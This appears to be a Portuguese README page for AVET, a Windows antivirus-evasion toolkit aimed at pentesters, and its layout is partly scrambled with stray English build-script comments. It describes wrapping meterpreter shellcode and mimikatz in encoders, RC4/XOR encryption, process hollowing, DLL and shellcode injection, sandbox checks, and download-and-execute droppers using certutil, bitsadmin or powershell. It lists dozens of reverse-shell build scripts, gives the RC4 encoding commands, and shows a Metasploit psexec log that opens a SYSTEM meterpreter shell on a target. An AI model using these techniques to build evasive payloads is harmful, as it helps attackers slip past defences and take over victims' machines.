Ferramenta de Evasão de Antivírus

AVET não está mais sendo desenvolvido devido a limitações técnicas e de tempo.

AVET é uma Ferramenta de Evasão de Antivírus, desenvolvida para facilitar a vida de pentesters e para experimentar técnicas de evasão de antivírus, bem como outros métodos usados por softwares maliciosos. Para uma visão geral dos novos recursos na v2.4, bem como incrementos de versões anteriores, consulte o arquivo CHANGELOG.

Alguns recursos

ao executar um arquivo .exe feito com msfpayload e outros, o arquivo frequentemente será reconhecido por softwares antivírus
AVET é uma ferramenta de evasão de antivírus direcionada a máquinas Windows com arquivos executáveis
diferentes tipos de payloads de entrada podem ser usados agora: shellcode, exe e dlls
mais técnicas disponíveis: injeção de shellcode/dll, process hollowing e mais
métodos flexíveis de recuperação para payload, chave de descriptografia, etc.
uso como dropper
Encadear múltiplas iterações do AVET permite adicionar múltiplas camadas de evasão, se necessário
combinação de técnicas: baixe seu payload criptografado via powershell, enquanto fornece a chave de descriptografia por argumento de linha de comando no momento da execução, e finalmente injete seu payload em outro processo, escolhendo entre múltiplas técnicas
verificações básicas de sandbox
geração de exemplos adversariais contra detectores estáticos baseados em aprendizado de máquina
execute todos os scripts de build disponíveis com build_script_tester.py, também pode ser interessante para pesquisadores construírem um conjunto de amostras "maliciosas" usando diferentes técnicas de evasão e injeção

Nota Importante

Nem todas as técnicas evadirão todos os mecanismos de antivírus. Se uma técnica ou script de build não funcionar, teste outra. Sinta-se à vontade para experimentar! Afinal, isso é uma caixa de ferramentas - mas você mesmo deve empunhar o martelo.

Instalação

A Instrução de Instalação se aplica para Kali 64bit e tdm-gcc!

Você pode usar o script de setup:```bash ./setup.sh

Isso deve iniciar automaticamente instalando/configurando wine e instalando tdm-gcc.
Em breve você terá que clicar na interface gráfica do instalador do tdm-gcc - as configurações padrão devem estar boas.
O script também perguntará se você deseja instalar as dependências do AVET, que são necessárias para usar alguns scripts de compilação. As dependências baixadas serão colocadas em pastas separadas ao lado da pasta avet.

As dependências baixarão as versões mais recentes de:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)

Se por algum motivo você quiser instalar wine e tdm-gcc manualmente:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Se você não estiver usando Kali ou não quiser instalar o Metasploit no seu sistema, você pode usar o Container Docker.
O container encapsula Metasploit e avet e as amostras serão criadas no seu diretório atual.
Também é possível usar um editor de texto gráfico como o gedit.

Construindo o container:```bash
sudo docker build -t avet:v0.1 .

Uso:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

Para uma melhor experiência, é recomendado criar um alias para isso.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET do jeito fácil

avet.py é um pequeno utilitário Python que foi projetado para ajudá-lo no uso da ferramenta.

Ele lista todos os scripts atualmente presentes na pasta de build. Após selecionar um, você poderá percorrer o script linha por linha, tendo a oportunidade de modificar o conteúdo em tempo real.

Isso é especialmente útil, pois você pode definir novas variáveis LHOST e LPORT para o msfvenom cada vez que executar um script de build via fabric.
Você pode definir valores padrão de LHOST e LPORT no arquivo /build/global_connect_config.sh, que são usados se você não redefini-los.

Essas modificações são temporárias, o que significa que quaisquer alterações feitas não persistirão no script de build no disco.
A versão modificada é executada uma vez, e seu executável é construído.

Aqui está um exemplo rápido (Clique para expandir):

``` python3 avet.py

                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

#### static_from_here Os dados são compilados estaticamente no executável gerado, recuperados do argumento especificado no script de compilação. #### dynamic_from_file Os dados são lidos de um arquivo em tempo de execução. #### from_command_line_hex Recupera dados de uma string hexadecimal no formato "11aabb22.." (da linha de comando). #### from_command_line_raw Recupera dados de um argumento da linha de comando. A string ASCII fornecida é interpretada como dados brutos em bytes. #### download_certutil Baixa dados de uma URI especificada, usando ```certutil.exe -urlcache -split -f```. Salva o arquivo baixado no disco antes de ler os dados. #### download_curl Baixa os dados usando curl. Salva o arquivo baixado no disco antes de ler os dados. #### download_internet_explorer Baixa dados de uma URL especificada, usando o Internet Explorer. Salva o arquivo baixado no disco antes de ler os dados. #### download_powershell Baixa dados de uma URI especificada via powershell. Salva o arquivo baixado no disco antes de ler os dados. #### download_socket Baixa os dados de uma URI especificada, usando sockets. Os dados são lidos diretamente na memória, nenhum arquivo é salvo no disco. #### download_bitsadmin Baixa os dados usando o utilitário BITSAdmin do Windows. Salva o arquivo baixado no disco antes de ler os dados. ### Métodos de execução de payload Como executar/entregar o payload. Os métodos de injeção/hollowing exigem informações adicionais sobre o alvo da injeção, que podem ser fornecidas via ```set_payload_info_source <the_info>``` (veja os métodos de recuperação de dados). #### exec_shellcode Executa shellcode de 32 bits com uma ligação de função C. #### exec_shellcode64 Executa shellcode de 64 bits com uma ligação de função C e VirtualProtect. #### exec_shellcode_ASCIIMSF Executa shellcode codificado em ASCIIMSF via ```call eax```. #### hollowing32 Instancia um novo processo, remove a imagem original e insere o payload fornecido no novo processo. O payload é uma imagem executável de 32 bits. Funciona em alvos de 32 bits. #### hollowing64 Mesmo que hollowing32, mas usando payloads PE de 64 bits para processos alvo de 64 bits. #### inject_dll Injeta uma dll em um processo alvo, usando ```CreateRemoteThread```. A injeção funciona para payloads de 32 bits em processos de 32 bits e para payloads de 64 bits em processos de 64 bits, respectivamente. #### inject_shellcode Injeta shellcode em um processo alvo, usando ```CreateRemoteThread```. A injeção funciona para shellcode de 32 bits em processos de 32 bits e para shellcode de 64 bits em processos de 64 bits, respectivamente. ### Criptografia e Codificação O AVET fornece codificadores para cada esquema, que podem ser aplicados no payload antes da compilação/entrega. Na execução, o decodificador especificado então desofusca novamente o payload em tempo de execução. Aqui está um exemplo RC4, onde a chave de descriptografia é recuperada da linha de comando em formato hexadecimal no momento da execução:``` generate_key preset aabbccddee input/key_raw.txt encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt set_key_source from_command_line_hex set_decoder rc4

E do lado do metasploit:``` msf exploit(psexec) > use exploit/windows/smb/psexec msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe EXE::custom => /root/tools/ave/pwn.exe msf exploit(psexec) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(psexec) > set rhost 192.168.116.183 rhost => 192.168.116.183 msf exploit(psexec) > set smbuser dax smbuser => dax msf exploit(psexec) > set smbpass test123 smbpass => test123 msf exploit(psexec) > set lport 8443 lport => 8443 msf exploit(psexec) > run [*] 192.168.116.183:445 - Connecting to the server... [*] Started bind handler [*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'... [*] Sending stage (957487 bytes) to 192.168.116.183 [*] 192.168.116.183:445 - Selecting native target [*] 192.168.116.183:445 - Uploading payload... [*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored! [*] 192.168.116.183:445 - Created \mzrCIOVg.exe... [+] 192.168.116.183:445 - Service started successfully... [*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe... [-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0) [*] Exploit completed, but no session was created. msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200 msf exploit(psexec) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183) msf exploit(psexec) > sessions -i 4 [*] Starting interaction with 4... meterpreter > sysinfo Computer : DAX-RYMZ48Z3EYO OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : de_DE Domain : ARBEITSGRUPPE Logged On Users : 2 Meterpreter : x86/windows

Mais Populares

avet

Ferramenta de Evasão de Antivírus

AVET não está mais sendo desenvolvido devido a limitações técnicas e de tempo.

Índice

Alguns recursos

Nota Importante

Instalação

AVET do jeito fácil

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

enable debug output

generate key file with preset key

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Exemplos de uso

Scripts de build

Documentação

Métodos de recuperação de dados

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

Download 64-bit shellcode via powershell, and execute.

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

Retrieves the tuple (target PID, dll path) from command line on execution

static_from_file

sleep

sleep for 3 seconds

verificar fast forwarding

Nome de usuário

getchar

fopen

gethostbyname

has_vm_mac

hide_console

Número de Processos

Domínio

Stops computation after 20 seconds

Ferramentas auxiliares

data_raw_to_c

generate_key

sh_format

AVET e metasploit psexec

Designed for use with msf psexec module!

print AVET logo

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

import global default lhost and lport values from build/global_connect_config.sh

override connect-back settings here, if necessary

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

import feature construction interface

add evasion techniques

generate key file

encode shellcode

array name buf is expected by static_from_file retrieval method

no command preexec

set shellcode source

convert generated key from raw to C into array "key"

set key source

set payload info source

set decoder

set shellcode binding technique

enable debug printing

compile as service

cleanup

Exemplos Adversariais

Manipulações Práticas